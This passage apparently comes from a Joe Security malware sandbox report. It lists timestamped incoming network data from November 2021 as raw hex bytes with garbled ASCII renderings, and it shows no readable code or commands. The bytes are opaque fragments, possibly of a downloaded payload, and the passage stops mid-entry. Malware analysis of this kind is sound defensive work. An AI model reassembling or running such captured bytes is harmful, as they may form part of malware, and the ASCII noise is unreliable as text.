2021-11-08 19:50:57 UTC 115 IN Data Raw: a5 a3 49 4f bf 71 89 42 12 ce 68 df 73 aa 26 c4 76 00 08 1f e9 62 a3 c2 6d 02 b1 85 69 ca f4 cb 5f b7 92 df 8b 89 15 5a 8f 6b 02 89 06 63 ab 3a 38 84 99 cf 7a 4f 37 4f 5a a9 ad 08 f7 07 9d 11 25 13 ae 86 10 75 45 bc 5c 7b ea f6 1b f6 96 80 3a e2 04 18 5a fc ee 16 c4 f3 09 0a 00 da 10 ec 32 09 69 cd 88 62 94 4e 82 fe 49 52 73 34 9b a8 1e a2 61 77 8b 6b 19 f4 bc 05 1d ae 35 65 4f 87 56 01 53 17 ac be e0 e6 5f ae f1 30 fc e2 a2 29 4e 49 92 0a d9 57 2f 02 d2 9c 09 a1 70 bd cc 71 3e 5d 99 53 8a db 51 03 2f 92 e1 c1 34 26 6f 98 f4 47 56 c0 f4 a6 e0 a4 17 f4 47 26 5f 5c aa 8b 4d 36 45 30 f7 69 86 fc ec 4d 86 01 6e a0 9a 0e 72 82 b8 d3 26 a8 24 56 79 c1 73 8a 86 ec cb 26 09 2b c0 ac a7 2c a8 c3 b6 b2 77 14 3b 05 e9 0f ba 06 bb dc a7 67 b3 35 4c dc c5 dd a4 0b 0b Data Ascii: IOqBhs&vbmi_Zkc:8zO7OZ%uE\{:Z2ibNIRs4awk5eOVS_0)NIW/pq>]SQ/4&oGVG&_\M6E0iMnr&$Vys&+,w;g5L

2021-11-08 19:50:57 UTC 131 IN Data Raw: a1 dd 5f 00 ae 3e e6 c8 49 ab 1c 59 92 17 0b 66 59 de 17 53 31 84 78 8d 0a 4a 9f af ab 54 79 7b f5 cc 58 08 de 56 bf 8a 79 3e 60 80 a6 98 b3 cc b6 52 a1 10 6c 39 82 db 29 fe c9 a6 b2 8b e8 77 89 00 be 1a e4 4c 5b 62 f6 26 3e 8b 26 6a 61 50 16 65 5a fb c6 ab 22 6f 06 4e 19 8f f4 91 2d 93 7e 2c 29 86 d6 7f 3a fc 11 5f b2 02 42 0e b8 4a bc b8 b0 fc f6 f6 ea fd 89 c9 89 a6 74 d9 64 fa 0e c2 4b ec 5f 64 7a a3 f1 c4 5a 76 70 f4 44 b0 0b 71 8c d2 51 22 70 a8 5c 80 d4 65 87 5256 47 32 c9 3b 56 f3 48 f0 f7 a3 7a d5 46 24 5a 75 c5 55 e0 07 c8 82 b8 d8 a3 af ab 87 9a 14 b4 33 3c b5 71 cb 2c 94 50 af ad 4d 4a 63 1e 3f af 72 81 d6 c5 2c 09 f4 f9 34 9e 0a 89 97 19 f2 d1 e0 7a a7 aa 81 ec 2d c7 77 29 31 cd 26 18 94 d4 c3 f2 35 83 fd 51 41 c2 5f 15 62 80 89 3b f1 e8 8f Data Ascii: _>IYfYS1xJTy{XVy>`Rl9)wL[b&>&jaPeZ"oN-~,):_BJtdK_dzZvpDqQ"p\eRVG2;VHzF$ZuU3<q,PMJc?r,4z-w)1&5QA_b;

2021-11-08 19:50:57 UTC 147 IN Data Raw: 40 88 9f 85 12 c1 dd 71 03 32 ae 53 4b 0c c5 ca 58 01 3a 76 c7 d6 2a 71 cc 26 e8 e4 54 92 16 13 ee 1d 78 9b 39 e7 23 b4 89 ec 80 8c e1 84 c5 4f f6 45 92 4e cd 19 d8 c2 c6 92 b0 c9 80 ba 5d b9 4f 5b 5f f0 80 cc 66 b2 b3 05 19 b2 ac79 a8 ce 83 93 a5 cf 6a 71 ed 16 71 f3 1b d1 28 14 7e cf d4 be fe b0 45 b1 a3 ca 92 c1 93 e2 f3 59 04 42 97 6c d2 a1 0b fc 08 86 41 7e e9 bd 76 f4 7e 6f 05 b1 ee 09 6c 43 81 90 4c 17 25 6b 9d ea 27 d4 03 13 8c b3 17 cf 63 8b f6 37 da cc 9f 55 19 b9 12 1e 56 8e 36 31 c4 a0 07 98 08 b2 3e 15 5a 64 9f a3 85 db 7c 45 01 ec 9c 1b 0e 78 79 4e 4d a5 05 e5 73 04 55 ab 9c f6 21 e6 2b ee 2a 30 c9 ee 2f c5 95 92 e1 12 5d 0a 95 db d7 f8 33 5d 53 0b b5 87 4a 8d 16 89 03 30 72 1d c3 30 68 b3 21 7a f7 17 f4 0a a0 0c 8c ab 0a 5d cb e8 ba 53 32 Data Ascii: @q2SKX:v*q&Tx9#OEN]O[_fyjqq(~EYBlA~v~olCL%k'c7UV61>Zd|ExyNMsU!+*0/]3]SJ0r0h!z]S2

2021-11-08 19:50:58 UTC 163 IN Data Raw: 8e 28 20 e6 bf ae ae d0 b5 3e 4d 2a e7 08 20 38 7d b4 a7 65 41 01 70 5c cc 2c d1 f2 c8 7a f2 55 3b e9 91 08 34 85 4c ad b5 86 c1 1c 01 1a 8c e4 5a 13 7c a8 a5 02 da a6 bb 72 d5 d9 83 c3 d0 d7 d1 a0 24 5e 38 d2 4e 16 e0 88 f3 ab 9d f6 e6 69 23 b0 6b b0 7f 03 4f 9c 62 e2 0e 0b 05 fc f5 b6 37 b7 c1 6d e2 80 86 df f3 b2 0c 33 3e a9 84 c9 46 9f 63 e3 4e 2f 53 b4 d1 c3 ec 27 f6 78 eb d6 10 23 f3 37 fe 18 b4 0b f3 e6 67 5d 33 72 e5 87 72 e7 e1 d5 2c d5 fb 64 fc c6 ef 4e a8 fa 7b d6 da 9d c3 1b 9a 7c be d8 1d b3 e7 cc 30 cf 1c 76 d1 cb 0f de ca 00 07 f8 30 09 af 79 fa f7 0b be d2 96 c9 61 59 e0 ac 47 a3 31 fa 90 b9 b4 ab 13 4a ba ce d2 0a 9e 9b 6d 66 13 31 43 fd 1b 03 bb 26 b4 23 e9 58 ca da 90 91 7d 86 97 33 4c df 16 99 ea 5e ab 7c 72 10 06 5f 80 32 82 fb 4a 64 Data Ascii: ( >M* 8}eAp\,zU;4LZ|r$^8Ni#kOb7m3>FcN/S'x#7g]3rr,dN{|0v0yaYG1Jmf1C&#X}3L^|r_2Jd

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 20 of 51

2021-11-08 19:50:58 UTC 179 IN Data Raw: 31 47 66 67 0e 4d 4b 1d 3e dc d5 5f 16 67 db b8 9d 8f 76 ee 2c 65 a2 b0 77 94 9a d5 3a 48 2d 85 1b 36 fd d8 ea b9 7b 8a 09 dd 03 07 e3 57 74 a9 72 13 68 e1 d7 ee c9 6d b1 36 73 99 78 8a cc b3 16 33 16 84 91 c2 41 07 05 2d 15 b2 1d 8f 1e 2e 77 83 66 41 0b 8f 54 a4 05 2b 68 1c a0 72 1e 59 ba ab 6a c4 7f f7 44 0c 02 8b b1 5b 16 af 75 7d f8 cc c7 b5 cb 48 a0 71 26 d9 95 22 70 87 a8 13 00 9a 97 1e 9b 05 1a 02 16 25 ed ab 08 65 36 a4 32 1e 26 34 31 71 95 1c 55 f0 74 3a 22 6c 21 b5 ce 36 07 fa f0 73 06 88 30 cb 39 db e5 63 bd 53 7f 6e 29 cf 17 30 ae 99 96 7c 77 d1 aa a8 a1 53 ae a9 9f 3c a1 4c 9f 95 1c 6d f2 07 7a 49 fc 22 ca f8 10 ba 9f 8b e2 8f a1 c0 c4 74 cf db 40 85 61 53 2f 1d 1d 24 e9 2a cb 6d 02 98 a9 57 b0 60 90 32 27 95 8f c5 7c 2c ab ce 84 13 2a aa 22 Data Ascii: 1GfgMK>_gv,ew:H-6{Wtrhm6sx3A-.wfAT+hrYjD[u}Hq&"p%e62&41qUt:"l!6s09cSn)0|wS<LmzI"t@aS/$*mW`2'|,*"

2021-11-08 19:50:58 UTC 195 IN Data Raw: 4f dc 9d 84 51 36 35 ac 72 81 21 a9 6f 60 04 98 14 24 8c 07 ad aa 04 6e 6e 0b 72 7b bf ef a9 08 4c 98 f9 ea 97 33 6c 3f b4 5e c7 7d 4f 6a 5d 1c 0d 7b 3f 10 d3 de f7 30 31 ca b2 da 19 db e4 5a 2d 4a 09 59 61 bb 0e 5c 85 c1 94 cc 76 b9 81 2c cf d4 80 af bc fd 5f 88 3e 57 7f a9 d3 99 84 e5 b7 c4 7f b6 cf 3c b0 de a9 67 8d 53 01 d3 22 0a 35 cd 14 34 7b 09 ff a5 08 c5 2b a2 9e 5e 17 24 0a 53 9c 15 c9 fe ca d7 f9 29 f6 f7 28 fc 11 d0 0b 4d 42 b0 b0 ba 8c 06 86 77 00 c0 aa ea 4b 84 1d 12 9e 19 0c 16 7a fe 3b 9c 3f 85 e6 24 01 bd 65 e3 36 62 d2 25 f4 da 94 ce eb 6c 91 fa 53 96 d8 d2 54 4f 40 b3 ef 2340 b0 6f 66 b6 6a 65 f1 ca 3c f5 a7 23 bf 3b 9a ec d7 7d 69 cf 87 39 6a 24 70 b6 5c a1 44 fc ae 82 de 38 9a 82 7f 39 a2 a2 95 42 02 10 b6 68 6c d1 98 88 b3 d5 a2 f6 Data Ascii: OQ65r!o`$nnr{L3l?^}Oj]{?01Z-JYa\v,_>W<gS"54{+^$S)(MBwKz;?$e6b%lSTO@#@ofje<#;}i9j$p\D89Bhl

2021-11-08 19:50:58 UTC 211 IN Data Raw: b4 f4 85 99 d9 3f 9d f2 e3 7d 83 b0 fb ab 4a 72 65 e5 78 aa c3 8a ba 77 50 eb bf 7d 3b 27 50 d6 a0 a8 46 3d 65 94 b6 29 75 58 73 c6 7a 74 bf 9c b2 a4 a3 8c 74 e4 50 3a 6a 59 b6 49 60 f5 44 44 ba 00 7a 25 6c c4 68 1d da 9e 11 08 c9 55 64 5b d4 4e fb 14 e7 92 a8 29 b3 95 e4 89 0a 1a 88 23 a2 4a ca 55 44 95 b7 b3 c0 5b 60 d2 6a 06 e4 d0 68 32 1d 14 c9 e6 cb f8 b6 8b b5 bb 5c c6 f2 f4 3f 25 08 1d 17 1a 6d 07 08 cb 4c 84 f5 9d 06 97 a6 7d 0c a7 c3 12 49 7b 23 63 4a ad a1 0f a1 ad 96 80 98 f7 b3 32 18 d3 a9 71 c4 6f b3 03 49 ea 6b 3e 23 53 6f 20 55 44 59 04 73 3a a4 29 83 20 1d 43 2e 42 54 be 13 41 2b e6 12 a4 4a 84 a3 1c 3f 53 a6 4e 55 50 2d dc ff 5c a3 8b 3a 80 09 18 1a 73 bd b5 76 64 73 11 3a 74 bd eb a8 12 1a 16 ee ed 3c b9 68 e0 30 a7 f1 4a 55 a6 e3 49 a1 Data Ascii: ?}JrexwP};'PF=e)uXszttP:jYI`DDz%lhUd[N)#JUD[`jh2\?%mL}I{#cJ2qoIk>#So UDYs:) C.BTA+J?SNUP-\:svds:t<h0JUI

2021-11-08 19:50:58 UTC 227 IN Data Raw: 3f a5 59 b1 16 15 8a 01 4d f7 e6 a1 1b 62 e5 f3 57 50 32 69 a3 56 59 ad 15 ad 87 95 b6 39 ce 50 5a 09 12 14 5f 45 9e aa e9 e5 9d 3b b9 f1 93 36 5d 8a 66 5e ff 43 b7 b0 d1 4f c7 1c 1d 70 8f 21 d2 98 6c e8 57 7e a3 44 70 15 65 68 70 d7 e2 62 1a ce 53 de 85 4e 69 8d 11 97 c4 0f df 14 6b 12 dd 22 33 40 8e ef a9 49 f8 e3 91 55 12 78 b5 cb 80 e9 f6 80 1e ef 86 4c eb 0e cc b0 06 45 e8 cd 32 97 7a a6 e3 80 15 5f 21 e7 47 d9 7f 5c 1d 08 3b 03 fd 0a fa 7e 33 7f 89 d6 df c3 4f c4 fe 66 2d 73 a1 37 56 bd 74 d4 f5 dc e7 a5 dd e5 cc 03 25 f3 cc e5 e6 52 5a 15 2e b0 80 99 21 ed e3 f9 7c bd e7 70 a5 83 40 b5 a8 6b be 28 91 c4 e4 84 3c 89 77 1c 0f f4 94 07 d1 bf 85 94 65 6a fe 38 94 04 97 f9 92 4d 29 e8 8d d7 2c d3 99 67 5d 6e e0 bf bd 3e 58 28 97 a6 d0 70 ef 36 42 78 60 Data Ascii: ?YMbWP2iVY9PZ_E;6]f^COp!lW~DpehpbSNik"3@IUxLE2z_!G\;~3Of-s7Vt%RZ.!|p@k(<wej8M),g]n>X(p6Bx`

2021-11-08 19:50:58 UTC 243 IN Data Raw: 9f 52 ce 81 35 82 6c 70 fa 06 9d 4f 55 6e 9e e8 b1 c6 56 df cc 74 48 bc cd 41 fb 42 74 b8 3b 63 cf 3a 61 4c 45 78 68 d0 f7 92 00 33 ba de 35 6f ef 86 df a3 db 44 8e 50 2e e9 ec 91 1b e7 18 05 38 e0 4b bd a5 20 77 96 ce cb 03 f9 c6 db 39 ac 5d ca 21 54 70 d6 d8 bf b1 7c be 5f 86 9f fc f0 fc 94 32 fa e0 d1 bb 97 aa 94 2b 12 ae 50 75 7f cc 88 6d 53 b4 2f 54 af a2 00 ab 8d 6c a3 9b 90 0e 8a 16 f0 ae 74 33 3c d8 fa ad 34 b8 a9 23 ab 98 98 d4 01 30 7e 01 8d 2d 29 9e c1 dd 7d 94 07 26 8d 03 e8 b6 52 96 71 3b 3f fa b6 0a 51 a8 83 a2 46 45 a3 2c 33 92 0c 92 01 d8 8a 01 0a 55 ab 2c 77 77 b4 af f3 31 b4 fc f1 28 74 2d d9 d8 6a e5 54 7e d3 19 24 97 c6 d0 01 7e 00 fa a7 fb 99 d2 57 ed cc 4b 86 8a a4 ff 17 85 c6 d9 12 38 9c e0 ed 34 6c f3 f9 8e 77 fa 96 e5 0c 7c 4a 9c Data Ascii: R5lpOUnVtHABt;c:aLExh35oDP.8K w9]!Tp|_2+PumS/Tlt3<4#0~-)}&Rq;?QFE,3U,ww1(t-jT~$~WK84lw|J

2021-11-08 19:50:58 UTC 259 IN Data Raw: f4 24 44 a2 7c 3e 34 6a 66 de 18 36 b7 89 84 63 67 e8 5b 91 2b 5c 62 24 a6 26 e6 a1 a4 30 83 60 f3 78 05 58 bb 48 3a 3a 13 03 07 53 8b cc 70 d3 d4 85 e6 f5 60 22 ae 8f ca 72 26 32 5a b2 9f f0 d7 12 fc 2b c3 67 07 97 5c 98 03 50 18 e7 9c dd 60 04 da ae e8 76 7f e8 0a c1 fa bc 1d 35 9a 10 87 d3 17 85 e2 81 e7 49 8c 32 f3 72 d1 af 28 5f bc 6e b9 4b 5a 0a 61 c5 a8 be 45 91 1a 4b 3f 53 5d d1 bf 16 48 1e 60 a7 cc 18 53 f7 0e 60 e5 43 90 34 f2 42 2a 0f fc e3 46 1a 31 2a 34 b5 1f b2 69 eb e9 74 25 b3 8d ad 8e 79 d6 9a b6 4f cf 02 0a 6d fc 25 9b 77 48 60 d0 9e 96 53 55 33 9b 83 8b 9c c1 1b 14 ef 99 da 60 1d c6 5c bf fe 36 8b 4f 09 62 c8 b5 b0 f4 93 51 48 01 c3 80 13 11 a9 46 45 39 b2 41 c7 2f 46 8f be ec 09 f1 2a f6 90 41 25 35 29 a7 09 01 7f 7f f4 4f f0 ee 1f cc Data Ascii: $D|>4jf6cg[+\b$&0`xXH::Sp`"r&2Z+g\P`v5I2r(_nKZaEK?S]H`S`C4B*F1*4it%yOm%wH`SU3`\6ObQHFE9A/F*A%5)O

2021-11-08 19:50:58 UTC 275 IN Data Raw: d6 f7 e8 5c 94 44 17 cb 08 c6 b6 46 e3 e0 5e d7 ea 5d fe fc c1 3a e2 bb 26 18 2f 2b 50 3a d3 3f 0a 9a 08 5d 04 bd 6a 9b 48 51 63 af d6 3b 46 49 36 1a 70 a5 6f a8 f0 3d 66 d6 50 09 1a 48 cd 97 6d 7f 0c 9e fe 77 de 10 41 d1 99 43 9b c6 40 fa d1 62 f3 5a 35 be 7a 7c f1 62 2a 97 08 19 30 d6 08 20 bc 4a d1 b4 1c 11 aa ae 01 2d 8d 55 5d 32 15 8a 6a 78 a3 72 c8 67 c9 8d 34 00 a6 86 8f 8b a1 58 de 73 66 14 2a a6 67 15 05 0f 2a b4 d0 23 84 90 99 9d 7e 5d 86 ad 5a db 54 44 f7 35 ae a0 44 31 ba e0 83 22 6f db 7e 59 f6 03 c2 2a bf 3d 86 e4 a1 a0 db 81 64 8a 6a e5 7b b9 12 d8 79 a6 20 84 8c bf 08 93 50 f4 01 3c e9 2f cc 83 d6 45 47 9d d6 57 f1 be 58 0e 24 12 1e 53 ae b9 82 5c 0d 2a b2 b2 74 93 89 52 a0 fe 43 6e 71 4a 2d 0e ee 5c ee d1 b2 39 ed 60 61 02 b2 f2 19 8b f5 Data Ascii: \DF^]:&/+P:?]jHQc;FI6po=fPHmwAC@bZ5z|b*0 J-U]2jxrg4Xsf*g*#~]ZTD5D1"o~Y*=dj{y P</EGWX$S\*tRCnqJ-\9`a

2021-11-08 19:50:58 UTC 291 IN Data Raw: 95 87 13 a4 de 81 5c c9 4b 58 38 1a 9c 56 90 d3 47 76 53 bb aa 94 96 7a 61 67 9f 98 36 97 1d 36 81 39 52 2f b9 ba 66 c1 e8 fa bb 62 06 79 57 29 d6 5b a6 59 1a c6 c0 12 30 55 66 65 45 7a ca 97 7d 0f 7f ac 54 be 90 e9 5f bd 91 15 5f 54 25 bd 90 4f 56 08 ed 9c fa 94 07 0d 6e d7 73 0e 73 3c a3 0b e4 f4 47 18 5e e9 51 65 8c cb 4e 0b bb d2 10 f6 de 02 04 ee c5 14 7e e3 84 28 12 1f 1d 9d 6d a9 8e 70 45 ee 26 fa fc bf a9 6a 07 33 8b 9e 85 6e c5 80 43 6f 64 21 44 14 ac 59 f3 4d 93 d4 87 c8 22 ef 53 3d 6a c3 a3 2e e5 0b b3 f9 b4 01 ae 5b 7f d8 0d 2b a1 b3 ee 4f 8d 2a 4f 1e 87 01 78 e6 1f 03 8a 56 3d 0d b1 e1 d1 ff a7 39 24 c5 01 5c d7 78 86 98 b4 a4 25 12 31 95 3f e5 f0 76 bb 49 a5 d3 9c d6 63 6c 29 d4 f3 9f 1d 91 7f 33 01 73 66 e4 04 2f ae f3 c9 6c a3 ec 19 46 71 Data Ascii: \KX8VGvSzag669R/fbyW)[Y0UfeEz}T__T%OVnss<G^QeN~(mpE&j3nCod!DYM"S=j.[+O*OxV=9$\x%1?vIcl)3sf/lFq

2021-11-08 19:50:58 UTC 307 IN Data Raw: 9f 8b 6a d2 90 77 11 44 e9 20 f6 9a fb ee 19 0d 1c 10 27 f7 16 fe 3f 75 22 dd e5 7e e9 48 e8 90 bc 33 6e 06 82 26 ef 79 26 c4 c4 20 7a 4b d3 db 97 42 3e 82 f4 c5 c5 ed 07 41 3b 50 ba 52 1e ab b2 a7 a9 7f 7f 99 48 30 02 dd 50 4f 93 0b 04 f4 3f 77 65 58 c0 d5 d5 57 e1 7b 90 85 cf 4b 3a ae 60 ba 91 5b 1d 6a 71 1c 09 df 76 dc 1e 7f 4e 46 7c 94 77 7a b5 97 b3 c7 20 d8 a4 7f 47 27 13 67 ec 84 7b 4a e1 e3 49 59 f6 fe 82 cf cf 9b a1 38 b0 3d 9c 34 9c ed 05 d1 36 5e cf 43 b5 7b 47 9b 04 98 0e e9 36 b2 20 82 38 8f 19 32 f4 ce 5b b1 ef 0b 7e a8 50 ac f2 02 c1 14 9c 50 d4 a1 d1 8a e9 f7 cf df d4 a1 c7 71 a2 9e 40 3e 28 f7 26 17 aa c5 f6 8c fe 3b 48 05 ad bd 96 0b 4f dc 8a 14 04 45 cd f8 b3 1c 4f aa 5b 4c 79 4b 73 6d 65 58 de 9e b6 e7 ca 3d 70 00 bc 4c a9 e0 af fd 84 Data Ascii: jwD '?u"~H3n&y& zKB>A;PRH0PO?weXW{K:`[jqvNF|wz G'g{JIY8=46^C{G6 82[~PPq@>(&;HOEO[LyKsmeX=pL

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 21 of 51

2021-11-08 19:50:58 UTC 323 IN Data Raw: 18 79 8b 66 f2 a8 0c 1b 37 a3 b2 83 99 bc d8 e6 23 6c 91 9a 81 03 bc c1 6c 0a bd 18 86 63 d5 f7 c9 0b f4 00 ea 13 d2 2a 50 ee 45 9b 2e b7 84 97 e5 e0 2c 1d ff df 79 2a ef 71 87 cf bb a0 c0 ea e9 6d 8c 50 70 88 74 7c e9 03 62 8f 38 39 55 c3 9a 3c f3 05 cd ee a6 8d a6 c8 c9 ae 40 48 46 ea 9c 67 27 81 e5 b4 5a fd 24 7f 38 33 c9 91 8b b8 31 a2 e9 56 71 5c 70 19 ad c3 74 3a e5 ea 79 e7 63 80 51 74 f7 c2 87 0e 91 a7 07 91 23 3d f4 d6 09 3e 73 65 bc 56 d5 61 07 bf a8 f9 f4 0f c5 8f 6c 20 d9 24 46 dd f7 57 3c 7a 56 da 37 cd a2 64 d9 9f 4d fa ef 6f e2 b4 12 58 c3 56 b2 44 c7 d7 92 f9 28 01 05 c4 09 01 99 85 9e 33 aa 30 58 51 bd b9 a2 79 ff 99 20 f3 ef cc fc aa 43 5d 84 92 4a 77 d0 35 d6 e4 b6 67 33 80 f7 44 d2 4b cd b3 a5 a9 2b a6 08 d3 09 b7 e5 8d ac 31 c9 aa c7 Data Ascii: yf7#llc*PE.,y*qmPpt|b89U<@HFg'Z$831Vq\pt:ycQt#=>seVal $FW<zV7dMoXVD(30XQy C]Jw5g3DK+1

2021-11-08 19:50:58 UTC 339 IN Data Raw: 3f 7f 4e db 78 78 ad fd f7 f6 14 e8 4c 98 69 20 8b 06 e0 3a a6 5a b6 42 79 f5 d8 d1 d5 c8 b8 7c af a8 ae c4 55 4d 56 57 9f 1d d3 5a 8a 5a 31 da 38 17 7a 93 74 dd 28 8a 1f 9a d5 53 5f 3c b8 8f 9d ee 67 75 23 11 a3 46 67 91 4d 86 c4 35 15 85 40 a4 b3 73 ce 81 16 57 04 e3 12 1f ef c7 41 11 32 77 73 18 44 cb 80 b4 47 e1 73 29 4a 01 3b ee d8 63 9f 98 18 0c 92 3f 35 e0 ec 48 6f f4 2f 5c be ce 4c 33 f6 7a 56 1a 9c 9e 51 8b 46 3d be 33 17 f7 25 6b e5 bb 05 63 77 d5 c5 fe b9 55 2e e9 4f 5f 7a f0 84 db b6 f5 05 2e 7a 99 37 7c 15 3e e7 d2 fa a7 d1 94 dc 9a cb 3a 92 da d5 19 67 e3 63 c7 fe 96 1a a9 76 c7 ef 80 2f 66 2e 2e b9 ad 96 b2 cc 0d 15 44 c8 bc 0a aa f9 27 bf 45 00 cf 74 07 32 12 f1 a9 93 d4 b7 9b c5 5e 9c d0 8e 13 25 04 fa 6e c3 6b 7f cf 55 d2 e9 76 11 54 98 Data Ascii: ?NxxLi :ZBy|UMVWZZ18zt(S_<gu#FgM5@sWA2wsDGs)J;c?5Ho/\L3zVQF=3%kcwU.O_z.z7|>:gcv/f..D'Et2^%nkUvT

2021-11-08 19:50:58 UTC 355 IN Data Raw: 2b 3e 70 d2 0b c1 c2 b5 34 4f 75 4f d4 2a 95 44 d7 91 35 a3 65 df e4 9c a7 00 1a 90 a3 5a 26 65 47 01 93 ba 4f 38 37 38 31 14 92 35 36 92 fe 9b 57 ba bd 7b ce a0 94 d2 5a 76 86 e5 33 09 b6 6d 0c 07 d7 f8 38 98 8a e3 c1 5f b8 62 00 63 b8 db cf af 07 ba 01 50 ba 16 c8 47 58 a1 6c 6c 4e 6b 33 6b 1a 4e f0 a9 88 22 dc fc f7 58 2c 8d 01 00 4f 9a 04 84 55 05 cc cb b1 45 d6 99 1a cc 0b dc 6c 29 33 9b da e3 af e6 af 6e 4c 03 03 5b 6e 4e 91 dc e3 3e b2 2d b2 b1 57 fb c6 88 78 7b d8 33 15 ed 4d ab 64 55 85 16 28 7a 6d af 16 72 dc 5e 54 98 30 5d 64 8e af 76 db 5c 5f 3a a4 1e 9b 45 0d 08 05 a0 1e 52 4b c1 6a f2 43 30 20 f2 43 57 39 9e 59 2f 4f 9e 6c 76 2b 93 7d 1d 15 98 dc c5 56 26 01 90 16 c1 03 37 44 30 da 53 ab e2 94 57 f7 24 ae 70 9c af 05 2c 66 c8 a5 31 bc 65 c0 Data Ascii: +>p4OuO*D5eZ&eGO878156W{Zv3m8_bcPGXllNk3kN"X,OUEl)3nL[nN>-Wx{3MdU(zmr^T0]dv\_:ERKjC0 CW9Y/Olv+}V&7D0SW$p,f1e

2021-11-08 19:50:58 UTC 371 IN Data Raw: 40 a2 91 a7 e6 7b c9 5c d3 83 d9 00 59 01 1e 69 54 37 a4 13 46 ea bf 0b 53 fe 60 36 d1 9a 49 5f 2d 11 37 02 2f ec 54 8f 2b 57 0f 42 c7 2c 15 71 00 9d d9 90 de 12 0b f4 fa fc a2 6d da fd ee 96 92 17 01 f5 9f 2a 4e 79 54 51 0e 08 8e 70 85 df 0e 95 4c 5c de eb ec 0e 79 8b 3b 71 da 0f be 30 d8 6e 5a d8 84 6c 9e 0f 92 12 ed f6 69 d2 19 98 e8 84 c9 c8 42 b8 b7 b6 ce 7e 19 82 30 98 fd 77 86 21 18 d5 a4 6b cd a9 f8 80 76 08 2d 31 27 12 9e e5 8c dc d6 6b ff c2 9c 03 c1 80 fe 99 fa 98 94 65 8e 15 44 99 49 bb 85 19 3e 16 86 ff 61 85 09 70 a0 be 48 45 55 77 52 a1 2b 7f b8 4f 57 51 00 5c dd 29 c8 0b bc 5a 75 4b a3 66 35 c7 bb 0e 8a eb 9e 57 5d 36 b9 6f d5 25 91 8c 88 14 17 f3 b1 55 1c 6b 32 60 4c 92 7a 8e 0e 22 bb 93 94 12 37 64 b2 2c 74 9a b5 cc 14 2d 10 dd 6e 5b e9 Data Ascii: @{\YiT7FS`6I_-7/T+WB,qm*NyTQpL\y;q0nZliB~0w!kv-1'keDI>apHEUwR+OWQ\)ZuKf5W]6o%Uk2`Lz"7d,t-n[

2021-11-08 19:50:59 UTC 387 IN Data Raw: 45 32 b9 0b 30 a6 64 bf a9 bc 7e b9 26 d2 5c db 16 e6 2e 56 38 d2 62 72 a2 f8 12 34 f4 a9 01 68 05 7a 06 3f f0 e5 a6 fe b0 0d 81 fa 87 28 3a 7f 75 ef 82 ea 97 72 d6 89 79 9e c4 c0 34 03 39 2d 59 02 d5 b3 a6 cc 27 35 bd 37 08 a8 1b a1 79 b9 6a 24 2c 4b 67 22 32 30 b3 28 e9 43 7c ca 1f e7 27 0a 79 1b 63 3f da 93 d7 0e 1f 14 c8 68 67 37 40 6c cd af f6 8e 62 92 49 b4 de 6d a4 58 26 e5 7c c5 09 f1 50 d7 52 3f 81 09 db 6a e3 bf c8 24 80 ba 6f de 13 e3 be 65 97 7d 36 e6 02 3c 3c c2 85 6f 0c 1e a8 54 14 53 94 d9 e4 e0 7b ca 2e cd 2d 7a f3 61 ae 87 7d 83 ab 15 03 e9 53 78 51 c7 d0 32 ae c0 89 1d a5 34 de 8f 08 6d 04 2c 76 e3 ad 8e 08 cc 33 f9 21 20 9f e2 53 9b e2 52 05 91 ad 5d 40 a3 30 a9 0c c5 a6 17 82 b8 3c 4f 76 0e a6 a2 4e 84 41 80 59 71 3f ce 02 0a 8d f1 b0 Data Ascii: E20d~&\.V8br4hz?(:ury49-Y'57yj$,Kg"20(C|'yc?hg7@lbImX&|PR?j$oe}6<<oTS{.-za}SxQ24m,v3! SR]@0<OvNAYq?

2021-11-08 19:50:59 UTC 403 IN Data Raw: 31 f9 99 7f 70 41 b5 05 69 1f d8 84 bf f4 5a 09 79 b5 a4 0b f6 54 91 95 63 43 28 74 c0 28 75 af b7 f1 22 a0 08 ed f0 34 0c 5f 45 13 09 cc a8 a9 57 f4 5d 72 97 7b 26 ed 2d 4c 59 ec b9 d4 4e bc 58 1e df 34 70 bd 06 3e 1f 41 ee 71 45 b2 bb ae 52 ba d0 b1 63 b3 d2 a7 90 5c f8 d0 f7 69 62 f0 2a 1d f2 54 88 44 9c 4b 36 bb 81 45 0d ac c4 e4 92 bc 0e 43 3f e8 5e ea 57 06 8c e3 6a e1 b5 cc f9 71 19 c3 98 9c cc db 6e b3 9a 84 c0 df 01 b9 38 04 25 90 3d ce cc 51 5e 91 4c 1c e5 b5 95 0b 57 d7 c2 62 7f 52 78 4a cc 1e 12 f2 d8 e6 f9 a1 13 53 b3 89 bf df b0 7f 85 43 fc 66 82 4a a7 f4 dc 9d 8c 0e 03 58 d8 d6 59 e6 05 d9 01 2c 46 ae c9 a5 f2 de ec f3 57 70 e8 0e 5b 80 63 46 31 3e a9 31 05 0a c6 3a 9a ef c3 df 1d cb 71 f7 1f 38 a0 b8 61 64 01 bb df e2 5a 25 49 81 50 68 30 Data Ascii: 1pAiZyTcC(t(u"4_EW]r{&-LYNX4p>AqERc\ib*TDK6EC?^Wjqn8%=Q^LWbRxJSCfJXY,FWp[cF1>1:q8adZ%IPh0

2021-11-08 19:50:59 UTC 419 IN Data Raw: a4 b3 ce 21 53 18 09 64 be eb de 9d b3 8f 0a 35 74 9e 8c a3 50 ae 73 19 1d 26 a6 07 de 74 bb ee 3a 57 95 af aa a0 39 ca 2b 43 b2 48 51 37 47 8d 35 7e 6c 51 a2 4b 21 78 7e 13 9e 6d 5d 1f bf 32 e4 3c 4e 02 88 a9 b3 81 38 d9 9b c0 b8 88 e6 32 68 a0 56 ba 48 93 66 c8 9e 59 04 35 11 c4 9a fa 5f e4 34 1b 56 68 ca e0 65 2b 73 24 c7 14 6d d7 0b 4a 99 6c 50 31 76 c5 d5 c5 6e 52 22 49 71 a7 f8 83 ad 6f 59 95 d3 d6 5a 75 0b 5f 0c 42 9e 50 31 63 b9 5f 5b 15 09 9d 92 40 2f af 52 35 6a eb 1c c5 53 c1 46 f3 9c ae 43 cc e2 31 0c da 75 58 4e c8 5c 6e a7 18 84 80 12 ed a6 df d2 91 15 45 31 e1 eb d1 dc 6d 6a c0 a7 a5 fb 7b 38 a5 e0 8a 13 8f 3f e1 63 2a e4 d7 ad f5 45 1b 66 35 cb a9 13 62 00 99 58 a2 c6 fd 6c 9e 4d 03 d3 a7 e3 47 93 97 de 8c 35 2e 8e 70 7b 6a a8 ef 8d 7e 0c Data Ascii: 